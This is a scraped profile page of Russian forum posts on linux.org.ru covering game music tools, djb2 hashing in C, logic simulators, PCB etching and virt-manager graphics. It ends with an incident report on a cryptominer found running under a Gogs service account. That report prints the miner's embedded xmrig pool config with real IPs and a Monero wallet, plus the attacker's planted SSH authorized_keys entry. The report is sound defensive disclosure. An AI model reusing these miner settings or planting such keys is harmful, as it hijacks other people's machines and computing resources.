LINUX.ORG.RU

Избранные сообщения LINUX-ORG-RU

Музыкальный Linux для Игростроя

Форум — General

٩(。•́‿•̀。)۶

Ну, пора задуматься о музыке. Хочу написать десяток длинных амбиентов для игры, каждый соответствует локации для звукового выделения сцены + один универсальный для масло маслянное универсальных ситуаций. Ну плюс ещё отдельные звуки и музыка в соответствии с происходящими событиями. Короче хочу диалог игры и игрока не только визуальный, но и звуковой, а не только для галочки на фон повесить что-то из opengameart.com и всё.

Раньше пытался что-то брякать используя Pianoteq (Бесплатную версию где 20% клавиш не работает) https://www.jamendo.com/artist/443601/elizar-laboratories/singles

Ещё куда-то заливал всякую хрень, но не помню уже что и куда. Ну да ладно это из разряда что «умею».

Пробовал как Ъ взять LMMS и всё делать там. Получается говняшка. Для себя понял что мне надо просто играть отрезки, затем из них складывать композицию (ибо я не умею и не могу играть сразу гтовое на основе нот или целиком составлять композицию) затем через VST плагины отдельные отрезки и/или всю композицию приводить к тому виду который будет интересен.

Что у меня есть

  • Миди клава M-Audio keystation 88es ~15 клавиш не работают (;⌣̀_⌣́)

Чво я умею <( ̄︶ ̄)>

  • Открыть Pianoteq/LMMS+SF2/Hydrogen или иное в зависимости от нужного инструмента
  • Сесть и просто брякая наигрывать что в голову взбредёт, в процессе находя интересное и далее импровезировать с этим интересным по итогу получается минут 20 потока «музыки» в виде записанного wav и MIDI из которых вырезаю понравившиеся куски, эти куски либо сами по себе либо потом пытаюсь их переиграть. Нот я не знаю. Если хочу повторить своё ранее что-то то просто прослушиваю старое и играю снова.

Ну и всё, больше я ничего не умею, на компе мегабайт 150 миди+wav отрывков накопилось :D от импровизаций

Чво я хочу (๑˃ᴗ˂)ﻭ

  • Открыть программу музыкальну
  • Выбрать инструмент любой или внешний типа Pianoteq
  • Сыграть несколько разного в поисках нужного (ну например амбиент для сцены весёлой/грустной/страшной/глупой/странной/затейливой/непонятной/начальной/конечной/ууууууу многа и надо эксперементировать)
  • На месте взять сыгранное и нарезать
  • Из нарезок составить композицию «ну не умею я целиком нужное взять и сыграть… ::(»
  • На отдельные отрезки наложить преобразования VST плагинами (будто есть альтернатива)
  • На всю композицию наложить преобразование для выравнивания по стилю (Ну там заглушить что-то или просто эхо добавить общее)

Ну и всё. Как то так. Редакторов куча,VST плагинов разных типов куча. По хорошему надо 360 монитор что-бы всё что надо вывести на экран с их милллиардами кнопок и крутилок

  • 1 Посоветуйте пожалуйста редактор (Ardour?)
  • 2 Посоветуйте пожалуйста VST на все случаи жизни (Calf?)

Посоветуйте пожалуйста иное. Понятное дело что надо пробовать, но тут же есть те кто уже прошарен и может сказать что мне лучше подойдёт например всё же LMMS если его правильно готовить.

Короче я от разнообразия потерялся, мне хочется просто один раз выбрать программный стек где я буду делать всё. Пусть этот стек будет неидеальным, но блин я не могу досканально изучить всё т те же VST там чёрт об них ногу сломит, выберу один и буду на нём жить. только вот какой (набор) выбрать calf **ка красивый что я не могу, такой уровень графиков и индикации наверное ни у одной программы нет, программировал просто боженька.

Ну вот как то так. Помогите советом пожалуйста. Не хочется скакать туда да сюда. Хочется просто взять инструменты в виде программ и просто начать работать, да их надо будет изучать, это понятное дело. Но вот что бы сыграть-нарезать-склеить-обработать и всё.

Пока вдохновился этим https://www.youtube.com/watch?v=u_PR46u1T_s но просто решил ещё задать вопрос текущий ибо вдруг кто что посоветует. Я в этом всём слабо шарю.

Всем добра и мира ::)

 , , , ,

LINUX-ORG-RU
()

Все извесные djb2 коллизии

Форум — Development

UPD: Дададада strcmp в общих случаях быстреее, не пишите мне про это, всё есть в треде, спаааасииибо ))

У кого есть список коллизий хеш алгоритма djb2? Выбрал его как замену strcmp() ибо не смотря на все оптимизации с SSE2 strcmp() проигрывает почти в 4 раза.

[DEBUG] (src/engine.c:timer_start:112) Timer 0 'strcompare' Start: 0.000000
[DEBUG] (src/engine.c:timer_stop:133)  Timer 0 'end' End: 0.189000
[DEBUG] (src/engine.c:timer_start:112) Timer 0 'strhash-compare' Start: 0.000000
[DEBUG] (src/engine.c:timer_stop:133)  Timer 0 'end' End: 0.053000

Ну и опционально, приведу код может кто ещё подскажет как ускорить

Сейчас поиск элемента в материале такой 1000000 интераций поиска 0.189000 секунд cpu MHz: 3501.001

material_item material_entry_item(material_entry* me, char* name) {

  for(int i = 0; i < me->num_items; i++){
    if(me->names[i][0] == name[0]){
    if (strcmp(me->names[i], name) == 0){
       return me->items[i];
    }}
  }

  material_item empty;
  memset(&empty, 0, sizeof(empty));
  return empty;
}

Оно же с хешем djb2 1000000 интераций поиска 0.053000 секунды cpu MHz: 3501.009

long
hash(char *str)/*djb2*/
{
    register long hash = 5381;
    register int c;

    while ((c = *str++))

    hash = ((hash << 5) + hash) + c; /* hash * 33 + c */

    return hash;
}


material_item material_entry_item2(material_entry* me, char* name) {

  for(int i = 0; i < me->num_items; i++){
    if(me->names[i][0] == name[0]){
    if(hash(me->names[i]) == hash(name)){
       return me->items[i];
    }}
  }

  material_item empty;
  memset(&empty, 0, sizeof(empty));
  return empty;
}

Сам файл материала выглядит так он загружается в в стуктуру material_entry каждая строка вносится в union material_item именно поиск item мы и выполняем по имени

float  sadfsdf = 0
int  sadfsadf = 0
bool dfgdfgdf = 0
float asdfaksdfhaskdjf = 0 
bool  sdfasdjfioasdjf = 0
int  fsdfaefasdfasdfas = 0
float  sadfasdfaefsf = 0
float aasdfasdfsadf = 0
float asiodufhaoiuefhw = 0
bool  654654sadfasdf = 0
int  fq34tgsergwtysdfgg = 0
float asdfasdfsdfasfwe = 0
bool sdfggesrdf = 0
int asdfgrstghrth = 0
int atyehdfdfhdfgh = 0
float adtghrt6htrh = 0
int test_value = 333

Ну первое что приходит на ум это добавить в material_entry поле hash куда делать предрасчёт хеша так мы сократим время поиска ещё в ~двое. Ну может у кого иди какае ещё будет как сделать ещё быстрее (без openmp и прочего параллелизма) Но основной вопрос про коллизии djb2, хочется их знать и проверять на этапе загрузки материалов.

Оригинальный код тут https://github.com/orangeduck/Corange/blob/master/src/assets/material.c https://github.com/orangeduck/Corange/blob/master/include/assets/material.h

Короче ладно, пока остановлюсь на djb2 вместо strcmp проверка коллизий будет осуществляться через функцию которая будет аккумулировать в себе все уникальные строки имён материалов (их у меня десятка два, а будет может ещё десяток так что норм) и при загрузке каждого нового материала будет проверять есть ли коллизия хеша между всеми теми что есть и новыми, вот сам код если кому надо будет.

чекер коллизий (без проверок аллокации, так что ну вы поняли) акоммулирует в себе всё уникальное чекает входящее и сохраняет в себе для последующих сравнений

void hash_cheker(char * str)
{

    static char ** hash_cheker_storage  = NULL;
    static long hash_cheker_storage_num = 0;
    
    if(hash_cheker_storage == NULL)
    {
        hash_cheker_storage_num++;
        hash_cheker_storage = malloc(sizeof(char**) * hash_cheker_storage_num+1);
        hash_cheker_storage[hash_cheker_storage_num-1] = malloc(sizeof(char)* strlen(str));
        memset(hash_cheker_storage[hash_cheker_storage_num-1],'\0',strlen(str));
        strcat(hash_cheker_storage[hash_cheker_storage_num-1],str);
        debug("HASH CHECK OK: %s ",str);
        return;
    }

    bool new_elem = false;
    for (int i = 0; i < hash_cheker_storage_num; i++)
    {
        if(strcmp(hash_cheker_storage[i],str) == 0)
        {
           return;
        };
    };


    for (int i = 0; i < hash_cheker_storage_num; i++)
    {
        if(hash(hash_cheker_storage[i]) == hash(str))
        {
            error("Сollision Hash between '%s' (%ld) and '%s' (%ld) choose another name for '%s'",
            hash_cheker_storage[i],hash(hash_cheker_storage[i]),
            str,hash(str),
            str);
            return;
        };
    };

    hash_cheker_storage_num++;
    hash_cheker_storage = realloc(hash_cheker_storage,sizeof(char**) * hash_cheker_storage_num+1);
    hash_cheker_storage[hash_cheker_storage_num-1] = malloc(sizeof(char)* strlen(str));
    memset(hash_cheker_storage[hash_cheker_storage_num-1],'\0',strlen(str));
    strcat(hash_cheker_storage[hash_cheker_storage_num-1],str);
   
    debug("HASH CHECK OK: %s ",str);
    for (int i = 0; i < hash_cheker_storage_num; ++i)
    {
        debug("HASH: %-10s = [%ld]",hash_cheker_storage[i],hash(hash_cheker_storage[i]));
    }
}

А вот вся суть


[DEBUG] (main.c:hash_cheker:78) HASH CHECK OK: asdfgrstghrth 
[DEBUG] (main.c:hash_cheker:81) HASH: sadfsdf    = [229482278995104]
[DEBUG] (main.c:hash_cheker:81) HASH: sadfsadf   = [7572915206835201]
[DEBUG] (main.c:hash_cheker:81) HASH: dfgdfgdf   = [7572282502104081]
[DEBUG] (main.c:hash_cheker:81) HASH: asdfaksdfhaskdjf = [1788434361038682215]
[DEBUG] (main.c:hash_cheker:81) HASH: sdfasdjfioasdjf = [-531356999790002134]
[DEBUG] (main.c:hash_cheker:81) HASH: fsdfaefasdfasdfas = [2674916009048082468]
[DEBUG] (main.c:hash_cheker:81) HASH: sadfasdfaefsf = [3622462406116730534]
[DEBUG] (main.c:hash_cheker:81) HASH: aasdfasdfsadf = [-7929917643305991168]
[DEBUG] (main.c:hash_cheker:81) HASH: asiodufhaoiuefhw = [-2980351034500385520]
[DEBUG] (main.c:hash_cheker:81) HASH: 654654sadfasdf = [6604793431210835103]
[DEBUG] (main.c:hash_cheker:81) HASH: fq34tgsergwtysdfgg = [7202372098568309662]
[DEBUG] (main.c:hash_cheker:81) HASH: asdfasdfsdfasfwe = [1799994182520512308]
[DEBUG] (main.c:hash_cheker:81) HASH: sdfggesrdf = [8246908965533417028]
[DEBUG] (main.c:hash_cheker:81) HASH: asdfgrstghrth = [-7043038456319946496]
[DEBUG] (main.c:hash_cheker:78) HASH CHECK OK: atyehdfdfhdfgh 

Сам материал же выглядит так

material_item material_entry_item2(material_entry* me, char* name) {

  register long hash_name = hash(name);
  for(register int i = 0; i < me->num_items; i++){
    if(me->hash[i] == hash_name){ //me->hash[i] предрасчитан заранее на этапе инициализации material_entry
       return me->items[i];
    }
  }

  material_item empty;
  memset(&empty, 0, sizeof(empty));
  return empty;
}

UDP: Правда я лоханулся ибо доступ к аллоцируемой памяти дольше и для предрасчёта надо брать статичный массив, а в нём уже ссылаться на позицию item. Ай да и ладно, пока что химичу, основной вопрос с колизиями решён, тему закрою. Но в целом, если использовать #pragma omp parallel for для поиска по strcmp() то эта комбина рвёт как тузик грелку поиск по хешу.

 , , ,

Deleted
()

Симулятор схем на логических элементах

Форум — General

Убирался давече и надыбал за диваном 10 штук к555ла6 в коробочке, упали и забылось =) вот думаю что зафигачить на них полезного, рядом лежит HDD дохлый, может попробовать на логике сделать драйвер. Но чёт мне лень рисовать, хочется поиграть с логикой. Есть ли под linux простой без прибамбасов симулятор? Хотя там надо по сути цепи задержки делать и нужна поддержка конденсаторов и резисторов. Хотя можно и без задержки сам посчитаю.

P.S. А есть ли виртуальный осцилограф который можно к такому симулятору подрубить и посмотреть на синхроимпульсы которые я буду генерировать логикой?

P.P.S. Сорян если тупость, я никогда этим раньше не интересовался, касаемо такого софта.


 , , , ,

LINUX-ORG-RU
()

Вытравил первую в жизни платку

Форум — Talks

И даже залудил! Канец навесному монтажу по топологии вермишели! (декоративный навесной монтаж не в счёт) Уууууууу :D

Рисовал маркером, травил перекисью водорода и лимонкой, гы. https://i.ibb.co/nmWm15D/20220514-212448.jpg

Думал по ходу дела как травить поменьше площади и поточнее чем маркером. Придумал наносить на текстолит кусочек парафина, нагреть что-бы растёкся тонким слоем, а затем чем угодно удобным типа карандашика (или иглы если нужно очень тонко) продирать место травления (получаются очень точные прорези в парафине) то есть не дорожки сами, а пространство между ними (хотя можно и наоборот, только придётся снова что-то наносить, а потом парафин удалять, с одной стороны в теории качественные дорожки, с другой геморой). В теории должно сработать завтра буду пробовать.

Нахер ты сюда это всё принёс?
А чё бы нет?

 , , , ,

LINUX-ORG-RU
()

virt-manager и вывод графики

Форум — Development

Возможно ли заставить virt-manager отображать графику также шустро как при kvm -display gtk,gl=on --device virtio-vga-gl?

Уточню в virt-manager настроено ускорение и на госте glxinfo -B показывает что всё хорошо, всё ускорено, устройство virgl OpenGL 4.2, также как и при -display gtk,gl=on запуске виртуалки из терминала, а не через virt-manager, разница именно что я так понимаю в выводе итоговом изображении.

Я глубоко не вникал, но при запуске в ручном режиме можно спокойно внутри в 3D шутеры гонять, но неудобно манипуляции всякие делать типа подключить/отключить CD на горячую. Через virt-manager наоборот можно мышевозить, гасить одно, запускать другое и прочее, но вывод лагает :(

А я с 3D работаю и на гостях тестирую.


Заранее отвечу проброс карты невозможен, материнка M4A88TD-M/USB3 не умеет.
Да и не нужно, virgl выдаёт на глаз нативное ускорение, но только при выводе через gtk/sdl

Я гуглил, но информации много, порой противоречивой, мне главное узнать можно ли то что я хочу или нет

 , , , ,

LINUX-ORG-RU
()

lsFusion 6.0 — открытая и бесплатная платформа для разработки бизнес-приложений

Новости — Разработка
Группа Разработка

Вышла новая версия lsFusion 6.0 — открытой и бесплатной платформы для разработки бизнес-приложений. В ней сделан упор на Web UX и расширение возможностей для создания современных веб-приложений.

( читать дальше... )

>>> Подробности

 ,

NitroJunkie
()

АХТУНГ: Пишу из горящего танка , ко мне на linux ПК влез майнер!

Форум — Security

GOGS НАВЕРНОЕ НЕ ВИНОВААААТ!!!!!!!!!!!!! UPDATE3 НИЖЕ!!!!!!! Я ЛОХХХХХХХХХ :D

Подробности чуть попозже я сейчас аудит аудитаю. Сеть включил только что-бы отписать, сейчас вырублю.

Суть у меня от отдельного пользователя по имени gogs был запущен сервис gogs через systemd https://i.ibb.co/qpthFzW/20210913040630-494x376.png не так давно мне приспичило перезагрузить комп ибо я забыл на проце виртулизацию активировать, и после включения и поднятия гогса 3 ядра проца зависли на 100% я увидал это https://i.ibb.co/GWB9Qwz/20210913033655-1408x93.png погрепал нашёл это https://i.ibb.co/bsKhpD5/20210913040047-507x381.png

В логал скрипты долбились во всё, но остались под пользователем gogs. Процессы (там ещё были) я не убил, а приостановил. Хороче сейчас всё проверю и вернусь.

Почему гогс? Да потому что он запускался от отдельного пользователя и кроме настроенного gogs там ничего нет. У меня сейчас скрипты, ssh ключ публичный который прописался вместо того что был, бинарник этой хрени и логи немного. Я хз куда скидывать эту гадость, да и скидывать ли?

UPDATE

И так сегодня ночью я перезагрузил ПК. Обнаружил что 3 ядра процессора заняты на 100% увидев запущенный процесс ./kswapd0 запущенный от пользователя gogs которого я создал что-бы от его имени запускалась git вебморда одноимённого проекта.

Все процессы от имени пользователя gogs я приостановил, отключил все сетевые соединения и погасил интерфейсы eth0,wlan0

Cверил /etc с бекапом по sha512 всё прежнее, на месте, обновлённое проверил глазами, никаких прописанных кронов и сервисов нет.

Все файлы из пользователя gogs скопировал в отдельный каталог для изучения. Запущенные процессы не имели открытых файлов поэтому там изучать нечего я их просто убил. Так же вычистил всё что-было связано с пользователем gogs и затем удалил его самого. Всё. Проверил свой хомяк, левых бинарей у меня нет. ssh по ключам. Никакой активности всё штатно. Эта вода что-бы не отвечать на вопросы, а ты это, а ты то.

И так, запустил я компуктер и запустился гогс сервер (а я реееедко перезагружаюсь) Его лог на момент запуска.

2021/09/13 00:17:31 [TRACE] Doing: MirrorUpdate
2021/09/13 00:27:31 [TRACE] Doing: MirrorUpdate
2021/09/13 00:31:38 [TRACE] Log Mode: File (Trace)
2021/09/13 00:31:38 [ INFO] Gogs 0.11.53.0603
2021/09/13 00:31:38 [ INFO] Cache Service Enabled
2021/09/13 00:31:38 [ INFO] Session Service Enabled
2021/09/13 00:31:38 [ INFO] Git Version: 2.33.0
2021/09/13 00:31:38 [TRACE] Doing: CheckRepoStats
2021/09/13 00:31:38 [ INFO] SQLite3 Supported
2021/09/13 00:31:38 [ INFO] Run Mode: Production
2021/09/13 00:31:39 [ INFO] Listen: http://0.0.0.0:3000
2021/09/13 00:31:58 [TRACE] Log Mode: File (Trace)
2021/09/13 00:31:58 [ INFO] Gogs 0.11.53.0603
2021/09/13 00:31:58 [ INFO] Cache Service Enabled
2021/09/13 00:31:58 [ INFO] Session Service Enabled
2021/09/13 00:31:58 [ INFO] Git Version: 2.33.0
2021/09/13 00:31:58 [ INFO] SQLite3 Supported
2021/09/13 00:31:58 [ INFO] Run Mode: Production
2021/09/13 00:31:58 [TRACE] Doing: CheckRepoStats
2021/09/13 00:31:58 [TRACE] Log Mode: File (Trace)
2021/09/13 00:31:58 [ INFO] Gogs 0.11.53.0603
2021/09/13 00:31:58 [ INFO] Cache Service Enabled
2021/09/13 00:31:58 [ INFO] Session Service Enabled
2021/09/13 00:31:58 [ INFO] Git Version: 2.33.0
2021/09/13 00:31:58 [ INFO] SQLite3 Supported
2021/09/13 00:31:58 [ INFO] Run Mode: Production
2021/09/13 00:31:58 [TRACE] Doing: CheckRepoStats
2021/09/13 00:31:58 [ INFO] Listen: http://0.0.0.0:3000
2021/09/13 00:41:58 [TRACE] Doing: MirrorUpdate

Во время его работы были созданы файлы с датой создания Пн 13 сен 2021 00∶31∶38 в каталоге ./configrc

.configrc$ ls -lAR
.:
итого 16
drwxrwxrwx 2 1002 1002 4096 сен 13 05:44 a
drwxrwxrwx 2 1002 1002 4096 сен 13 05:44 b
-rwxrwxrwx 1 1002 1002  271 сен 13 00:31 cron.d
-rwxrwxrwx 1 1002 1002   21 сен 13 00:31 dir2.dir

./a:
итого 2820
-rwxrwxrwx 1 1002 1002     876 сен 13 00:31 a
-rwxrwxrwx 1 1002 1002       1 сен 13 02:44 bash.pid
-rwxrwxrwx 1 1002 1002      23 сен 13 02:44 dir.dir
-rwxrwxrwx 1 1002 1002    9568 сен 13 00:31 init0
-rwxrwxrwx 1 1002 1002 2843144 сен 13 00:31 kswapd0
-rwxrwxrwx 1 1002 1002      10 сен 13 05:44 .procs
-rwxrwxrwx 1 1002 1002     226 сен 13 00:31 run
-rwxrwxrwx 1 1002 1002     700 сен 13 00:31 stop
-rwxrwxrwx 1 1002 1002     202 сен 13 00:31 upd

./b:
итого 84
-rwxrwxrwx 1 1002 1002 11634 сен 13 05:44 1
-rwxrwxrwx 1 1002 1002   157 сен 13 00:31 a
-rwxrwxrwx 1 1002 1002    23 сен 13 00:31 dir.dir
-rwxrwxrwx 1 1002 1002 50935 сен 13 00:31 run
-rwxrwxrwx 1 1002 1002  6004 сен 13 00:31 stop
-rwxrwxrwx 1 1002 1002    42 сен 13 00:31 sync

Внутри видно kswapd0 который и был запущен. Это бинарь упакованый. Внутри майнер xmrig c вшитым конфигом вот такого содержания

            "algo": null,
            "coin": "monero",
            "url": "[2a0e:fa00:0:5::1]:80",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
         },
         {
            "algo": null,
            "coin": "monero",
            "url": "[2a0e:fa00:0:5::1]:443",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
         },
   	 {
            "algo": null,
            "coin": "monero",
            "url": "debian-package.center:80",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
        },
        {
            "algo": null,
            "coin": "monero",
            "url": "45.9.148.125:80",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
        },
        {
            "algo": null,
            "coin": "monero",
            "url": "45.9.148.125:443",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
        },
        {
            "algo": null,
            "coin": "monero",
            "url": "45.9.148.129:80",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
        },
        {
            "algo": null,
            "coin": "monero",
            "url": "45.9.148.129:443",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
        },
        {
            "algo": null,
            "coin": "monero",
            "url": "45.9.148.117:80",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
        },
        {
            "algo": null,
            "coin": "monero",
            "url": "45.9.148.117:443",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
        },
        {
            "algo": null,
            "coin": "monero",
            "url": "45.9.148.58:80",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
        },
        {
            "algo": null,
            "coin": "monero",
            "url": "45.9.148.58:443",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
        },
        {
            "algo": null,
            "coin": "monero",
            "url": "45.9.148.59:80",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
        },
        {
            "algo": null,
            "coin": "monero",
            "url": "45.9.148.59:443",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
        }
    ],
    "print-time": 60,
    "health-print-time": 60,
    "retries": 1,
    "retry-pause": 3,
    "syslog": false,
    "user-agent": null,
    "watch": true,
    "pause-on-battery": false
}

Сам бинарник публиковать не буду.

Одним из скриптов был удалён и вновь создан каталог .ssh с содержимым.

.ssh/authorized_keys

ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr

SHA512 всех этих файлов

1ba854c321d89441291da2638d65748ffa06923a63fd2bb9be8a66440236503fb34e375726a8da679b55ced51dda82293ffcfb8bb76563e2da0071222d3247bf  .ssh/authorized_keys

3567d8d553d42e4450683126ac7beac5c5e713091b20aaf28040d91bfebe19b0431588d7c34e4a3d5c6e4f7af45e1ccce7654e730c0512c0c5c5d28be548cb24  .configrc/cron.d

ee8c0f03fa194321a0a8324418ba3204b06323a424b295b514213e90aa656a47d76e2f81074d46ccddd7801276de7d5665a3bbd770507dc6425e697b5bc97c95  .configrc/dir2.dir

f26bcbdcf7417308bdec3f3f8b6ef453d2b7417b16d015eeddfc447955068b48667554fd9a1b896ee9d44ac3c2cac54137fc455c45f94251f42e5e3a1e7b6230  .configrc/a/a

be688838ca8686e5c90689bf2ab585cef1137c999b48c70b92f67a5c34dc15697b5d11c982ed6d71be1e1e7f7b4e0733884aa97c3f7a339a8ed03577cf74be09  .configrc/a/bash.pid

1bc338f3ed46c8623a6a6e871d71a7641d7daa5494b2502523c21f1d5af097ada2c441bf12f222a3d61dc7169494693635ea14200faabae6993781c16167abac  .configrc/a/dir.dir

8ff2784f8437875a8b388d3f0d7eaf4b9d98c2374aafbd33df19f1255842889caf9bdafb55c5f9ac5e937624aae58fc1845134335916f79648e8a5d4de077d79  .configrc/a/init0

ede860bbec1a47a971a5bcfd024a9e338b2fdfe407df00b0cd0f4e436e3175d31f68964605b351abc3784d5c9046cd00189b7b3a82359cfeb1081b5d85cd6dda  .configrc/a/kswapd0

a7b00698bf4d74c154ea4fdc1b76eae4ca6319189d63354a77f2a813ae248d36b16154f6f3d7f9ae3d5fa84e882e7476b02f1870fde3f3251f3d4f4733cc0a22  .configrc/a/run

b8bc24b9ea7b26e18bb26c9b1887f600142d5f283f074d64db72a9fea551f754904b1c8e93cb58282eb08fec5b03730ab66351526567a39c78f57648af40bc3f  .configrc/a/stop

fdceef26293c927036bec874457fd8e7a7baa94188a8f8720aeed5e2041ee412eee8731a1df1ce17b5d35ed47e0c39828156db78af6e0134f4e7bcebf5557e7a  .configrc/a/upd
 
91da308e50e177c9b7df28d4feaf6d9a20593d997bdbde232110216b7d346a39197960f4d342d3b9a7498ed68018cd375cfab22245ec4d7ab03fcab56753d862  .configrc/a/.procs

95305080f1dc993c89dde01138a2b915e20201bf6bdd7595393708b72d2b75abd376ac0c4df53fc72e33555294cedf60f3c702ad72bb3f8d5d461c2e42f26da1  .configrc/b/1

21d49249ca656d3f6ce7a77876796590ae66d31963a6cdf65bb294ca45372e68686f8f7fd846035ed53f1155962447a8054bf2ea081e02fbb4b3fa1b6e376881  .configrc/b/a

a99d5a12ce0e3d4fe1b8606200376b239bfe668353a2402f45eccd61c33451a466f663fe0c5817b41c2e748f69f36dece3b1887a7f290b0e5375abc9c47c1dad  .configrc/b/dir.dir

0dc180b53574dce4de4160c54810a019edae1828f0cc6c1513a3dac7173833e41d19cc9a81b762136e37a7c578a43508f076a8fa9fc9ff919a0748f259d431fe  .configrc/b/run

cd1c489afdcd9a02a05401e803e238417e2421b7f43b93b25b882d2bd005ff2e4ae61f3bd47aaa5577d9c3573c34dfe7ee6801abdc16bfe38c70550c97358f2a  .configrc/b/stop

3b196433e2d0c57946d61512b004e14c46e1207d3de5a0dcbaa62966b98449c08c3074d29cf0211648a26db2298caa4af294c69dcd8ab4cf4ec16dda14d23bf0  .configrc/b/sync

Есть лог вот с таким сорержимым https://pastebin.com/5LyB7pP9

Внутри скриптов немного логики, определение процессора, много base64 строк, это бинарники которые скрипты восстанавливают если надо.

От пользователя отдельного этого запускался только gogs в автоматическом режиме, всё. Я считаю виноват гогс.

./gogs --version
Gogs version 0.11.53.0603
sha512sum ./gogs 
c7a5541cd03fdc69b12c714be32ba6d6e8fdad5af42b865a3cd1d333db6cba0130130399b6a8283dacab3794ff1b359e865fe47085633cb892d6119f6642603f  ./gogs

Хотел залить куда то вдруг кому покопать интересно, но в этом смысла нет, можно просто скачать нужную версию и проверить хеш, если совпало значит оно.

Конфиг был такой

APP_NAME = Gogs
RUN_USER = gogs
RUN_MODE = prod

[database]
DB_TYPE  = sqlite3
HOST     = 127.0.0.1:3306
NAME     = gogs
USER     = root
PASSWD   = 
SSL_MODE = disable
PATH     = /home/gogs/gogs/data/gogs.db

[repository]
ROOT = /home/gogs/gogs-repositories

[server]
DOMAIN           = localhost
HTTP_PORT        = 3000
ROOT_URL         = http://localhost:3000/
DISABLE_SSH      = false
SSH_PORT         = 22
START_SSH_SERVER = false
OFFLINE_MODE     = false

[mailer]
ENABLED = false

[service]
REGISTER_EMAIL_CONFIRM = false
ENABLE_NOTIFY_MAIL     = false
